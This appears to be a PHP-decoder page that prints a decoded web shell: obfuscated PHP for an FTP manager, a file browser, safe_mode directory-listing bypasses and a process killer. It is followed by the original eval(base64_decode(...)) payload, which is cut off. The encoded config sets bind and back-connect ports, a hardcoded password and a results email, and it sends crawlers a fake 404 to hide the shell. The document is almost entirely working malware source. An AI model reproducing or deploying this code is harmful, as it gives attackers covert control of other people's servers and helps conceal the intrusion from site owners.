", $ltall); } } if(@isset($ft)){ switch($ft){ case "delete": if(@isset($lt)&&!@empty($lt)&&z4r($lt)){ z8s($lt); } elseif(@isset($rt)&&!@empty($rt)) { $ftp->deleteObject(z1k($ftp_current_dir).$rt); } elseif(@count($ltarr)>0){ foreach($ltarr as $lto){ $lto=@trim($lto); if(!@empty($lto)&&z4r($lto)){ z8s($lto); } } } elseif(@count($rtarr)>0){ foreach($rtarr as $rto){ $rto=@trim($rto); if(!@empty($rto)){ $ftp->deleteObject(z1k($ftp_current_dir).$rto); } } } break; case "upload": if(@isset($lt)&&!@empty($lt)&&z4r($lt)){ $ftp->putObject($lt, z1k($ftp_current_dir)); } elseif(@count($ltarr)>0){ foreach($ltarr as $lto){ $lto=@trim($lto); if(!@empty($lto)&&z4r($lto)){ $ftp->putObject($lto, z1k($ftp_current_dir)); } } } break; case "download": if(@isset($rt)&&!@empty($rt)) { $ftp->getObject(z1k($ftp_current_dir).$rt, $d); } elseif(@count($rtarr)>0){ foreach($rtarr as $rto){ $rto=@trim($rto); if(!@empty($rto)){ $ftp->getObject(z1k($ftp_current_dir).$rto, $d); } } } break; default: break; } } $frml=z9y("194").z9x().z5x(array(\'act\'=>\'ftp\',\'d\',\'lmkdir\'=>\'1\'),z6u(\'ldir\',\'\',\'2\').z8b(z9y("195"),\'7\')); $frmf=z9y("194").z9x().z5x(array(\'act\'=>\'ftp\',\'d\',\'fmkdir\'=>\'1\'),z6u(\'fdir\',\'\',\'2\').z8b(z9y("195"),\'7\')); echo z3q(array(z10w(z7u(z7k(z9y("192")).z6z($frml)),\'2\'),z10w(z7u(z7k(z9y("193").z9x().$hmsg).z6z($frmf)),\'2\')),\'4\'); $listf=$ftp->ftpRawList(); $listl=z8x($d); $lsl=array(); $lsl["d"]=array(); $lsl["l"]=array(); $lsl["f"]=array(); $lsf=array(); $lsf["d"]=array(); $lsf["l"]=array(); $lsf["f"]=array(); if(@is_array($listl)&&@count($listl)>0){ foreach($listl as $lf){ $fn=z2l($lf); if($fn!=\'.\'&&$fn!=\'..\'){ if(z4j($lf)){ $lsl["d"][]=array($lf, \'DIR\'); }elseif(z4q($lf)){ $lsl["l"][]=array($lf, \'LINK\'); } else { $lsl["f"][]=array($lf, (@filesize($lf)!==false?@filesize($lf):\'FILE\')); } } } } if(@is_array($listf)&&@count($listf)>0){ foreach($listf as $rf){ if($rf[1]!=\'.\'&&$rf[1]!=\'..\'){ if($rf[0]==\'d\'){ $lsf["d"][]=array($rf[1], \'DIR\'); } elseif($rf[0]==\'l\'){ $rfd=(@strstr($rf[1],\' -> \')?@substr($rf[1],0,@strpos($rf[1],\' -> \')):$rf[1]); $lsf[\'l\'][]=array($rfd, \'LINK\'); } else { $lsf[\'f\'][]=array($rf[1],$rf[2]); } } } } if(!@isset($flsort)){ if(@isset($_SESSION[\'flsort\'])){ $flsort=$_SESSION[\'flsort\']; } else { $flsort=\'0a\'; } } $_SESSION[\'flsort\'] = $flsort; $pflsort=z5r($flsort); if($pflsort[1]!=\'a\') $pflsort[1]=\'d\'; $v=$pflsort[0]; @usort($lsl["d"],"z2b"); @usort($lsl["l"],"z2b"); @usort($lsl["f"],"z2b"); if($pflsort[1]=="d"){ $lsl["d"]=@array_reverse($lsl["d"]); $lsl["l"]=@array_reverse($lsl["l"]); $lsl["f"]=@array_reverse($lsl["f"]); } if(!@isset($ffsort)){ if(@isset($_SESSION[\'ffsort\'])){ $ffsort=$_SESSION[\'ffsort\']; } else { $ffsort=\'0a\'; } } $_SESSION[\'ffsort\'] = $ffsort; $pffsort=z5r($ffsort); $ffsort=$pffsort[0].$pffsort[1]; if($pffsort[1]!=\'a\') $pffsort[1]=\'d\'; $v=$pffsort[0]; @usort($lsf["d"],"z2b"); @usort($lsf["l"],"z2b"); @usort($lsf["f"],"z2b"); if($pffsort[1]=="d"){ $lsf["d"]=@array_reverse($lsf["d"]); $lsf["l"]=@array_reverse($lsf["l"]); $lsf["f"]=@array_reverse($lsf["f"]); } $list_l=array(); $list_f=array(); $list_l[]=array($d.\'..\', \'LINK\'); $list_f[]=array(\'..\', \'LINK\'); foreach($lsl["d"] as $lf) $list_l[]=$lf; foreach($lsl["l"] as $lf) $list_l[]=$lf; foreach($lsl["f"] as $lf) $list_l[]=$lf; foreach($lsf["d"] as $rf) $list_f[]=$rf; foreach($lsf["l"] as $rf) $list_f[]=$rf; foreach($lsf["f"] as $rf) $list_f[]=$rf; $cl=@count($list_l); $cf=@count($list_f); echo z9m(\'2\').z6f().z7j(\'\',\'4\'); z8n(\'l\'); echo z7f().z7j(\'\',\'46\'); z8n(\'f\'); echo z7f().z7y().z10q(); echo z9m(\'2\').z7o().z7j(\'\',\'4\').z5z(\'\',"1").z9m(\'2\'); echo z7u( z7k(z5x(array(\'act\',\'d\',\'ffsort\',\'flsort\'=>($pflsort[0]==\'0\'?\'0\'.($pflsort[1]=="a"?"d":"a"):\'0\'.$pflsort[1])),z8b(z9y("57").($pflsort[0]==\'0\'?\' \'.($pflsort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\')),\'8\',\'2\'). z6z(z5x(array(\'act\',\'d\',\'ffsort\',\'flsort\'=>($pflsort[0]==\'1\'?\'1\'.($pflsort[1]=="a"?"d":"a"):\'1\'.$pflsort[1])),z8b(z9y("58").($pflsort[0]==\'1\'?\' \'.($pflsort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\')),\'8\',\'\'). z7k(z9y("62"),\'8\',\'3\')); for($i=0;$i<$cl;$i++){ $disp=z2l($list_l[$i][0]); if((!@is_numeric($list_l[$i][1]) && $list_l[$i][1]==\'DIR\')||$disp==\'..\'){ $o=z5x(array(\'act\'=>\'ftp\',\'flsort\',\'ffsort\',\'d\'=>$list_l[$i][0]),z8h(\'small_dir\',\'\',\'9\').z8b(z8o($disp,40),\'10\',z3g($disp,\'d\'))); } else { $ext=z2l($list_l[$i][0],\'.\'); $o=z5x(array(\'act\'=>\'ftp\',\'flsort\',\'ffsort\',\'d\',\'ft\'=>\'upload\',\'lt\'=>$list_l[$i][0]),z8h($ext,\'\',\'9\').z8b(z8o($disp,40),\'11\',z3g($disp,\'f\'))); } echo z7u(z7k($o,\'19\',\'2\').z6z((@is_numeric($list_l[$i][1])?z7x($list_l[$i][1]):$list_l[$i][1]),\'10\').z7k(($disp==\'..\'?z0w($list_l[$i][0]):z0t($list_l[$i][0]).z4n($list_l[$i][0],\'idloc\',($i%2?\'tra\':\'trb\').$jsid)),\'10\'),($i%2? \'0\': \'1\'),($i%2?\'tra\':\'trb\').$jsid); $jsid++; } echo z10q().z5h().z7f().z7j(\'\',\'46\').z5z(\'\',"1").z9m(\'2\'); echo z7u( z7k(z5x(array(\'act\',\'d\',\'flsort\',\'ffsort\'=>($pffsort[0]==\'0\'?\'0\'.($pffsort[1]=="a"?"d":"a"):\'0\'.$pffsort[1])),z8b(z9y("57").($pffsort[0]==\'0\'?\' \'.($pffsort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\')),\'8\',\'2\'). z6z(z5x(array(\'act\',\'d\',\'flsort\',\'ffsort\'=>($pffsort[0]==\'1\'?\'1\'.($pffsort[1]=="a"?"d":"a"):\'1\'.$pffsort[1])),z8b(z9y("58").($pffsort[0]==\'1\'?\' \'.($pffsort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\')),\'8\',\'\'). z7k(z9y("62"),\'8\',\'3\')); for($i=0;$i<$cf;$i++){ $disp=z2l($list_f[$i][0]); if((!@is_numeric($list_f[$i][1])&&$list_f[$i][1]=="DIR")||$disp==\'..\'){ $o=z5x(array(\'act\'=>\'ftp\',\'flsort\',\'ffsort\',\'d\',\'rd\'=>$list_f[$i][0]),z8h(\'small_dir\',\'\',\'9\').z8b(z8o($disp,40),\'10\',z3g($disp,\'d\'))); } else { $ext=z2l($list_f[$i][0],\'.\'); $o=z5x(array(\'act\'=>\'ftp\',\'flsort\',\'ffsort\',\'d\',\'ft\'=>\'download\',\'rt\'=>$list_f[$i][0]),z8h($ext,\'\',\'9\').z8b(z8o($disp,40),\'11\',z3g($disp,\'f\'))); } echo z7u(z7k($o,\'19\',\'2\').z6z((@is_numeric($list_f[$i][1])?z7x($list_f[$i][1]):$list_f[$i][1]),\'10\').z7k(($disp==\'..\'?z0q($list_f[$i][0]):z0r($list_f[$i][0]).z4n($list_f[$i][0],\'idftp\',($i%2?\'tra\':\'trb\').$jsid)),\'10\'),($i%2? \'0\': \'1\'),($i%2?\'tra\':\'trb\').$jsid); $jsid++; } echo z10q().z5h(). z7f().z7y().z10q(); echo z9m(\'2\').z7o().z7j(\'\',\'4\'). z0s(\'idloc\',\'ltall\',z9v(\'act\').z9v(\'flsort\').z9v(\'ffsort\').z9v(\'d\').z9v(\'ftpmloc\',\'1\'),array(\'\'=>z9y("66"),\'upload\'=>z9y("197"),\'delete\'=>z9y("199"))). z7f().z7j(\'\',\'4\'). z0s(\'idftp\',\'rtall\',z9v(\'act\').z9v(\'flsort\').z9v(\'ffsort\').z9v(\'d\').z9v(\'ftpmrem\',\'1\'),array(\'\'=>z9y("66"),\'download\'=>z9y("198"),\'delete\'=>z9y("199"))). z7f().z7y().z10q(); } else { echo z3q(z9y("185").z9x().($hmsg!=\'\'?\' : \'.$hmsg:\'\')); echo z6s().z10w(z7u(z5x(array("act"=>"ftp","d"), z6l(z7n(z9y("186")).z6u("ftp_server",$ftp_server,\'5\').z6u("ftp_port",$ftp_port,\'6\')).z6l(z7n(z9y("187")).z6u("ftp_username",$ftp_username,\'5\')).z6l(z7n(z9y("188")).z6u("ftp_password",$ftp_password,\'5\').z8b(z9y("189"),\'7\').\' \'.z5u("ftp_passive1",z9y("190"), "ftp_passive")))),\'2\').z6s(); $dmsg=$umsg=\'\'; if(!@empty($ftp_server)&&!@empty($ftp_port)&&!@empty($ftp_username)&&!@empty($ftp_password)&&@isset($ftp_quickaction)){ $ftp=new ftp($ftp_server,$ftp_port,$ftp_username,$ftp_password,$ftp_passive); if($ftp->loggedOn){ if($ftp_quickaction=="upload"){ $umsg=($ftp->put($ftp_remotefile, $ftp_localfile) ? z9y("208") : z9y("209")); } elseif($ftp_quickaction=="download"){ $dmsg=($ftp->get($ftp_remotefile,$ftp_localfile,1) ? z9y("210") : z9y("211")); } } else { if($ftp_quickaction=="upload"){ $umsg=z9y("191"); } else { $dmsg=z9y("191"); } } } echo z3q(array(z9y("200").z9x().($dmsg!=\'\'?" : ".$dmsg:\'\'),z9y("201").z9x().($umsg!=\'\'?" : ".$umsg:\'\')),\'46\'); echo z10w(z9d(z9c( z5x(array(\'act\'=>\'ftp\',\'ftp_quickaction\'=>\'download\',\'d\'), z10w(z5b(). z7u(z5t(z9y("202")).z9c(z6u(\'ftp_server\',$ftp_server,\'2\').z6u(\'ftp_port\',$ftp_port,\'6\'))). z7u(z5t(z9y("203")).z9c(z6u(\'ftp_username\',$ftp_username,\'4\').z6u(\'ftp_password\',$ftp_password,\'5\'))). z7u(z5t(z9y("204")).z9c(z6u(\'ftp_remotefile\',$ftp_remotefile,\'0\'))). z7u(z5t(z9y("205")).z9c(z6u(\'ftp_localfile\',$ftp_localfile,\'0\'))). z7u(z5t(\'\').z9c(z8b(z9y("207"),\'7\').z5u("ftp_passive2",z9y("190"), "ftp_passive"))).z5b() ) ),\'\',\'4\'). z9c(z5x(array(\'act\'=>\'ftp\',\'ftp_quickaction\'=>\'upload\',\'d\'), z10w(z5b(). z7u(z5t(z9y("202")).z9c(z6u(\'ftp_server\',$ftp_server,\'2\').z6u(\'ftp_port\',$ftp_port,\'6\'))). z7u(z5t(z9y("203")).z9c(z6u(\'ftp_username\',$ftp_username,\'4\').z6u(\'ftp_password\',$ftp_password,\'5\'))). z7u(z5t(z9y("205")).z9c(z6u(\'ftp_localfile\',$ftp_localfile,\'0\'))). z7u(z5t(z9y("204")).z9c(z6u(\'ftp_remotefile\',$ftp_remotefile,\'0\'))). z7u(z5t(\'\').z9c(z8b(z9y("206"),\'7\').z5u("ftp_passive3",z9y("190"), "ftp_passive"))).z5b() ) ),\'\',\'46\')),\'2\'); } } if($act==\'ls\'){ if(!@isset($sort)){ if(@isset($_SESSION[\'sort\'])){ $sort=$_SESSION[\'sort\']; } else { $sort=z7z(\'3\',\'default_sort\'); } } $_SESSION[\'sort\'] = $sort; if(!@isset($ftarget)) $ftarget=\'\'; if(!@isset($fullpath)) $fullpath=0; if(!@isset($with_ls)) $with_ls=0; if(@isset($ls_a) && @count($ls_a)>0){ $list=$ls_a; } else { $list=z8x($d); $showbuf=0; } $ugstat=0; $jsid=0; if(z7e(\'posix_getpwuid\')&&z7e(\'posix_getgrgid\')&&z7e(\'fileowner\')&&z7e(\'filegroup\')) $ugstat=1; if(!@isset($nolsmenu)||!$nolsmenu){ z2n(); if(z1y($d)) z4i(); } z5o(); if(@count($list)>0){ $obj=array(); $inf=array(); $obj["h"]=array(); $obj["d"]=array(); $obj["l"]=array(); $obj["f"]=array(); foreach($list as $v){ $o=z2l($v); $t=\'f\'; $t2=\'d\'; if(($o==".") || ($o=="..")){ $t=\'d\'; } elseif(@z4j($v)){ $t=\'d\'; if(z4q($v)){ $t2=\'l\'; } } elseif(@z4q($v)){ $t=\'l\'; } if($t==\'f\') { if(z5i($v)) $t=\'e\'; } elseif($t==\'l\'){ if(z5i($v)) $t2=\'e\'; } if(@isset($filter) && !z1q($v, $filter,$t)) continue; if($with_ls){ $inf[$v]=z4s($v,$t); } else { $fileperms=@fileperms($v); if(!$fileperms&&$nix&&$sh_exec){ $inf[$v]=z4s($v,$t); } } $row=array(); if($o=="."){ $row[]=$d.$o; $row[]="LINK"; }elseif($o==".."){ $row[]=$d.$o; $row[]="LINK"; }elseif($t==\'d\'){ $row[]=$v; $row[]=(($t2==\'l\')? "LINK":"DIR"); }elseif($t==\'f\'||$t==\'e\'||$t==\'l\'){ $row[]=$v; $row[]=(@isset($inf[$v])?$inf[$v][1] : @filesize($v)); } $row[]=(@isset($inf[$v])?$inf[$v][2] :@filemtime($v)); if($nix){ if(@isset($inf[$v])){ $row[]=$inf[$v][3]; } else { if($ugstat){ $ow=@posix_getpwuid(@fileowner($v)); $gr=@posix_getgrgid(@filegroup($v)); $row[]=array(($ow["name"]?$ow["name"]:@fileowner($v)),($gr["name"]?$gr["name"]:@filegroup($v))); }else{ $row[]=array(\'unk\',\'unk\'); } } } $row[]=(@isset($inf[$v])?$inf[$v][4]:$fileperms); $row[]=$t; $row[]=$t2; if(($o==".") || ($o=="..")){ if($o==\'..\') $obj["h"][]=$row; }elseif($t==\'l\'){ $obj["l"][]=$row; }elseif($t==\'d\'){ $obj["d"][]=$row; }elseif($t==\'f\'||$t==\'e\'){ $obj["f"][]=$row; } } $row=array(); $row[]=z9y("57"); $row[]=z9y("58"); $row[]=z9y("59"); if(!$win){ $row[]=z9y("60"); } $row[]=z9y("61"); $row[]=z9y("62"); $psort=z5r($sort); if($psort[1]!=\'a\'){ $psort[1]=\'d\'; } else { $psort[1]=\'a\'; } if(!@isset($nohead)||!$nohead){ for($i=0;$i<@count($row)-1;$i++){ $row[$i]=z5x(array(\'act\',\'d\',\'filter\',\'sort\'=>($i==$psort[0]?$i.($psort[1]=="a"?"d":"a"):$i.$psort[1])),z8b($row[$i].($i==$psort[0]?\' \'.($psort[1]=="a"?\'↑\':\'↓\'):\'\'),\'3\',($i=="1"?\' style="text-align: right;"\':\'\'))); } } $v=$psort[0]; @usort($obj["d"],"z2b"); @usort($obj["l"],"z2b"); @usort($obj["f"],"z2b"); if($psort[1]=="d"){ $obj["d"]=@array_reverse($obj["d"]); $obj["l"]=@array_reverse($obj["l"]); $obj["f"]=@array_reverse($obj["f"]); } $obj=@array_merge($obj["h"],$obj["d"],$obj["l"],$obj["f"]); $tab=array(); $tab["c"]=array($row); $tab["h"]=array(); $tab["d"]=array(); $tab["l"]=array(); $tab["f"]=array(); $i=0; foreach($obj as $a){ if(@is_array($a)&&@count($a)>=6){ $v=$a[0]; $t=$a[(@count($a)-2)]; $t2=$a[(@count($a)-1)]; $o=z2l($v); $dir=z3a($v); if($fullpath){ if(@substr($v, 0, @strlen($d)) == $d){ $disp=@substr($v,@strlen($d)); } else { $disp=$v; } }else{ $disp=$o; } $disp=z8o($disp,60); $row=array(); if($o=="."){ $row[]=z5x(array(\'act\'=>\'ls\',\'d\'=>$v),z8h(\'small_dir\',\'\',\'9\').z8b($disp,\'10\'),$ftarget); $row[]="LINK"; }elseif($o==".."){ $row[]=z5x(array(\'act\'=>\'ls\',\'d\'=>$v),z8h(\'small_dir\',\'\',\'9\').z8b($disp,\'10\'),$ftarget); $row[]="LINK"; }elseif($t==\'d\'){ if($t2==\'l\'){ if(@readlink($v)) $disp.=" => ".@readlink($v); $type="LINK"; $row[]=z5x(array(\'act\'=>\'ls\',\'d\'=>$v),z8h(\'small_dir\',\'\',\'9\').z8b($disp,\'10\',z3g($o,\'d\')),$ftarget); }else{ $type="DIR"; $row[]=z5x(array(\'act\'=>\'ls\',\'d\'=>$v),z8h(\'small_dir\',\'\',\'9\').z8b($disp,\'10\',z3g($o,\'d\')),$ftarget); } $row[]=$type; }elseif($t==\'f\'||$t==\'e\'||$t==\'l\'){ $ext=@strtolower(z2l($v,\'.\')); $row[]=z5x(array(\'act\'=>\'f\',\'d\'=>$dir,\'f\'=>$o),z8h($ext,\'\',\'9\',(($t==\'e\'||$t2==\'e\')?\'1\':\'\')).z8b($disp,\'11\',z3g($o,\'f\')),$ftarget); $row[]=(@isset($inf[$v])?$a[1]:z7x($a[1])); } $row[]=(@isset($inf[$v])? $a[2] : @date("Y.m.d H:i",$a[2])); if($nix){ $row[]=$a[3][0]."/".$a[3][1]; } $row[]=z6t((@isset($inf[$v])?$a[4]: z9w(@fileperms($v))),z6g($v)); if($t==\'d\'&&$o!=\'..\'){ $row[]=z1r($v,($ftarget?\'1\':\'\')).z4n($v,\'ls\',\'replacejsid\'.$jsid); $jsid++; }else{ if($o!=\'.\'&&$o!=\'..\'){ $row[]=z0o($v,$ftarget).z4n($v,\'ls\',\'replacejsid\'.$jsid); $jsid++; }else{ $row[]=z0z($v,$ftarget); } } if(($o==\'.\') || ($o==\'..\')){ if($o==\'..\') $tab["h"][]=$row; }elseif($t==\'l\'){ $tab["l"][]=$row; }elseif($t==\'d\'){ $tab["d"][]=$row; }elseif($t==\'f\'||$t==\'e\'){ $tab["f"][]=$row; } $i++; } } $table=@array_merge($tab["c"],$tab["h"],$tab["d"],$tab["l"],$tab["f"]); $trid=0; if(@count($table)>0){ echo z9m(\'2\').z7o().z7j(\'\',\'4\').z5z(\'\',"2"); echo z9m(\'2\'); $cnt=0; foreach($table as $row){ $r= \'\'; $cnt2=0; foreach($row as $v){ if($cnt==0){ $r.= (($cnt2==0) ? z9c($v,\'7\',"2") : (($cnt2==1) ? z6z($v,\'8\'):($cnt2==(@count($row)-1)?z9c($v,\'8\',\'3\'):z9c($v,\'8\')))); } else { $r.=(($cnt2==0) ? z9c($v,\'9\') : (($cnt2==1) ? z6z($v,\'10\'):z9c($v,\'10\'))); } $cnt2++; } $trids=\'\'; if(@strpos($r,\'id="replacejsid\')!==false){ $trids="tr".($cnt%2?\'a\':\'b\'); $r=@str_replace(\'id="replacejsid\',\'id="\'.$trids, $r); $trids.=$trid; $trid++; } echo z7u($r,($cnt%2? \'0\': \'1\'), $trids); $cnt++; } echo z10q(); echo z5h().z7f().z7y().z10q(); $arr_select=array(\'\'=>z9y("66")); if(@isset($use_buffer)&&$use_buffer&&(!@isset($nolsmenu)||!$nolsmenu)){ $arr_select["bcopy"]=z9y("67"); $arr_select["bcut"]=z9y("68"); $ucopy=$ucut=0; if(@isset($bcopy)&&@is_array($bcopy)&&@count($bcopy)>0){ $arr_select["bunsetcopy"]=z9y("69"); $ucopy=1; } if(@isset($bcut)&&@is_array($bcut)&&@count($bcut)>0){ $arr_select["bunsetcut"]=z9y("70"); $ucut=1; } if($ucopy&&$ucut) $arr_select["bunsetall"]=z9y("71"); } $arr_select["delete"]=z9y("72"); echo z0s(\'ls\',\'lsall\',z9v(\'act\').z9v(\'d\'),$arr_select); } } else { if(z7e(\'imap_open\')&&z7e(\'imap_list\')&&@version_compare(@phpversion(),"5.2.0")<=0) $sls_arr["imap"]="imap_list (safe_mode / PHP <= 5.1.2)"; if(z7e(\'glob\')) $sls_arr["glob"]="glob (PHP <= 5.2.x + some others)"; if(z7e(\'realpath\')) $sls_arr["realpath"]="realpath (PHP <= 5.2.4 + some others)"; if(@isset($sls_arr["glob"])&&!@isset($submit1)&&!@isset($listdir_func)){ $submit1=1; $listdir_func="glob"; } elseif(@isset($sls_arr["realpath"])&&!@isset($submit1)&&!@isset($listdir_func)){ $submit1=1; $listdir_func="realpath"; } if(@count($sls_arr)>0){ echo z3q(z9y("125")); echo z6s(); echo z9m("2").z6f().z6q(); echo z5w(\'\',"1"); if(@isset($submit1)&&$submit1){ switch($listdir_func){ case \'imap\': $stream=@imap_open(\'/etc/passwd\',"",""); $dir_list=@imap_list($stream,@trim($d),"*"); for($i=0;$i<@count($dir_list);$i++) echo @htmlspecialchars($dir_list[$i])."
"; @imap_close($stream); break; case \'glob\': z3w($d); break; case \'realpath\': z3y($d); break; } } echo z5q(); echo z7f().z7y().z10q(); echo z10w(z7u(z6l(z5z("left","3").z5x(array("act","submit1"=>"1"), z10w(z7u(z9c(z7n(z9y("126")).z5y("d",$d,"0","","9").z3m("listdir_func",$sls_arr,"5",1).z8b(z9y("127"),"7"))),"2")).z5h())),"2"); echo z6s(); } else { echo z3q(z9y("464",$d)); } } } if($act==\'processes\'){ if(!@isset($sortp)) $sortp=($nix?\'1a\':\'0a\'); $header=\'\'; if($nix){ $h=\'ps -aux\'.((@isset($grep)&&$grep)?\'|grep "\'.$grep.\'"|grep -v grep\':\'\'); if(@isset($pid)&&$pid){ if(!@isset($sig)||@is_null($sig)){ $sig=9; } $header=" : ".z9y("349",array($sig,$pid)).(@posix_kill($pid,$sig)?z9y("350"):z9y("351")); } }else{ $h=\'tasklist\'; } $r=z9e($h); echo z3q(z9y("348").$header,\'1\'); if($r){ $r=z2v(\' \',\' \',$r); $ppsort=z5r($sortp); if($ppsort[1]!=\'a\'){ $ppsort[1]=\'d\'; } else { $ppsort[1]=\'a\'; } if($nix){ $stack=@explode("
",$r); $head=@explode(\' \',$stack[0]); if(!@isset($grep)||!$grep){ unset($stack[0]); } for($i=0;$i<@count($head);$i++){ if($i!=$ppsort[0]){ $head[$i]=z5x(array(\'act\',\'d\',\'pfilter\',\'sortp\'=>$i.$ppsort[1]),z8b($head[$i],\'3\')); } else { $head[$i]=z5x(array(\'act\',\'d\',\'pfilter\',\'sortp\'=>$ppsort[0].($ppsort[1]==\'a\'?\'d\':\'a\')),z8b($head[$ppsort[0]].\' \'.($ppsort[1]==\'a\'?\'↑\':\'↓\'),\'3\')); } } $head[]=z9y("62"); $prcs=array(); if(!@isset($pfilter)||@empty($pfilter)||$pfilter==\'---\'){ $bool=0; $pfilter=\'\'; } else { $bool=1; } foreach($stack as $line){ if(!@empty($line)){ $line=@explode(" ",$line); if(($bool&&$pfilter==$line[0])||!$bool){ $line[0]=z5x(array(\'act\'=>\'processes\',\'d\',\'sortp\',\'pfilter\'=>(($bool&&$pfilter==$line[0])?\'---\':$line[0])),z8b($line[0],\'1\',(($line[0]==$cuser)?\' style="color:\'.z9q("okcolor").\';"\':\'\'))); $line[10]=@join(" ",@array_slice($line,10)); $line=@array_slice($line,0,11); $line[]=z5x(array(\'act\'=>\'processes\',\'d\',\'sortp\',\'pfilter\',\'pid\'=>$line[1],\'sig\'=>\'9\'),z8b(z9y("392"),"7")); $prcs[]=$line; } } } }else{ $r=@convert_cyr_string($r,"d","w"); $stack=@explode("
",$r); unset($stack[0],$stack[2]); $stack=@array_values($stack); $stack=@array_slice($stack,1); $head[0]="PROGRAM"; $head[1]="PID"; if($ppsort[0]>=@count($head)){ $ppsort[0]=@count($head)-1; } for($i=0;$i<@count($head);$i++){ if($i!=$ppsort[0]){ $head[$i]=z5x(array(\'act\',\'d\',\'sortp\'=>$i.$ppsort[1]),z8b($head[$i],\'3\')); } else { $head[$i]=z5x(array(\'act\',\'d\',\'sortp\'=>$ppsort[0].($ppsort[1]==\'a\'?\'d\':\'a\')),z8b($head[$ppsort[0]].\' \'.($ppsort[1]==\'a\'?\'↑\':\'↓\'),\'3\')); } } $prcs=array(); foreach($stack as $line){ if(!@empty($line)){ $ln=@explode(" ",$line); if(@count($ln)>=2) $prcs[]=array($ln[0],$ln[1]); } } } $v=$ppsort[0]; @usort($prcs,"z2b"); if($ppsort[1]=="d"){ $prcs=@array_reverse($prcs); } $tab=array(); if(!@isset($grep)||!$grep){ $tab[]=$head; } $tab=@array_merge($tab,$prcs); echo z9m(\'2\'); $cnt=0; foreach($tab as $i=>$k){ $r=\'\'; $cnt2=0; foreach($k as $j=>$v){ if($win and $i>0 and $j==2){ $v=z7x($v); } if($cnt==0){ $r.=(($cnt2==0) ? z7k($v,\'13\',\'2\'):($cnt2==(@count($k)-1)?z7k($v,\'13\',\'3\'):z7k($v,\'13\'))); } else { $r.=(($cnt2==0) ? z7k($v,\'14\',\'2\'):($cnt2==(@count($k)-1)?z7k($v,\'14\',\'3\'):z7k($v,\'14\'))); } $cnt2++; } echo z7u($r,($cnt%2? \'0\': \'1\')); $cnt++; } echo z10q(); } } z3j(); ?>
'
Did this file decode correctly?
Original Code
eval("?>".base64_decode("PD9waHAgLyogQ29weXJpZ2h0ICY+L2Rldi9udWxsICovDQokY29uZmlnID0gYXJyYXkoDQogInZlcnNpb24iID0+ICIyLjAuMjAxMS4wODI3IiwgLyogYnVpbGQgdmVyc2lvbi4gKi8NCiAiYXV0aCIgPT4gYXJyYXkoDQogICAidXNlX2F1dGgiID0+IDAsIC8qIGJvb2wgdmFsdWUsIFRSVUU9WyBBc2sgZm9yIGxvZ2luIF0gLyBGQUxTRT1bIERvbid0IGFzayBdICovDQogICAibWQ1X3VzZXIiID0+ICIwOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNiIsDQogICAibWQ1X3Bhc3MiID0+ICIwOThmNmJjZDQ2MjFkMzczY2FkZTRlODMyNjI3YjRmNiIpLA0KICJkZWZhdWx0X3ZhcnMiID0+IGFycmF5KA0KICAibGFuZ3VhZ2UiID0+ICJlbiIsIC8qIGRlZmF1bHQgbGFuZywgZW49RW5nbGlzaCAqLw0KICAiZW1haWwiID0+ICJxX3FfeF94QHlhaG9vLmNvbSIsIC8qIHNlbmQgcmVzdWx0cyBmcm9tIHNwZWNpZmljIHRvb2xzIHRvIHRoaXMgYWRkcmVzcyAqLw0KICAiZGVmYXVsdF9zb3J0IiA9PiAiMGEiLCAvKiBjb2x1bW4gMCwgYT1Bc2NlbmRpbmcgZD1EZXNjZW5kaW5nICovDQogICJkZWZhdWx0X2FjdCIgPT4gInRvb2xzIiwgLyogYXZhaWxhYmxlOiBscywgc2VhcmNoLCB1cGxvYWQsIGNtZCwgZXZhbCwgc3FsLCBtYWlsZXIsIGVuY29kZXJzLCB0b29scywgcHJvY2Vzc2VzLCBzeXNpbmZvICovDQogICJiaW5kX3BvcnQiID0+ICIzMTMzNyIsICJiaW5kX3Bhc3MiID0+ICJQQDU1dzByZCIsDQogICJiYWNrY29uX3BvcnQiID0+ICIzMTMzNyIsDQogICJzcWxfaG9zdCIgPT4gImxvY2FsaG9zdCIsICJzcWxfdXNlciIgPT4gInJvb3QiLCAic3FsX2RiIiA9PiAibXlzcWwiLCAic3FsX3RhYmxlIiA9PiAidXNlcnMiLA0KICAiZnRwX3VzZXIiID0+ICJhbm9ueW1vdXMiLCAiZnRwX3Bhc3MiID0+ICJhbm9ueW1vdXNAZnRwLmNvbSIsDQogICJkb3dubG9hZGEiID0+ICJNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNi4xOyBUcmlkZW50LzQuMDsgU0xDQzI7IC5ORVQgQ0xSIDIuMC41MDcyNzsgLk5FVCBDTFIgMy41LjMwNzI5OyAuTkVUIENMUiIsDQogKSwNCiAiYmFubmVkIiA9PiBhcnJheSgNCiAgImFnZW50cyIgPT4gYXJyYXkoIkdvb2dsZSIsICJTbHVycCIsICJNU05Cb3QiLCAiaWFfYXJjaGl2ZXIiLCAiWWFuZGV4IiwgIlJhbWJsZXIiKSwgLyogVGhpcyBhZ2VudHMgKG1hdGNoZWQgaW4gcmVnZXhwKSBhcmUgbm90IGFsbG93ZWQgKi8NCiAgInNlbmRfaGVhZGVyIiA9PiAnSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpLCAvKiBXaWxsIHNlbmQgdGhpcyBoZWFkZXIgYW5kIGV4aXQuICovDQogInVzZV9idWZmZXIiID0+IDEsIC8qIGJvb2wgdmFsdWUsIFRSVUU9WyBBbGxvdyBjb3B5L3Bhc3RlIF0sIEZBTFNFPVsuLl0gKi8NCiAidmlzdWFsIiA9PiBhcnJheSgNCiAgIndpZHRoIiA9PiAiMTAyNCIsIC8qIFRhYmxlIHdpZHRoIGluIHBpeGVscyAqLw0KICAiaW1hZ2VzIiA9PiAxLCAvKiBib29sIHZhbHVlLCBUUlVFPVsgU2hvdyBpY29ucyBdIC8gRkFMU0U9WyBEb24ndCBzaG93IGljb25zIF0gKi8NCiAgInNraW5zIiA9PiBhcnJheSgiZGFyayIsImxpZ2h0IiksDQogICJkZWZhdWx0X3NraW4iID0+ICJsaWdodCIsIC8qIERlZmF1bHQgY29sb3Igc2tpbiAqLw0KICAibGlnaHQiID0+IGFycmF5KA0KICAgImJvZHliZyI9PiIjNzE3Njc4IiwNCiAgICJ0YmFyYmcxIj0+IiNBQUFBQUEiLCAidGJhc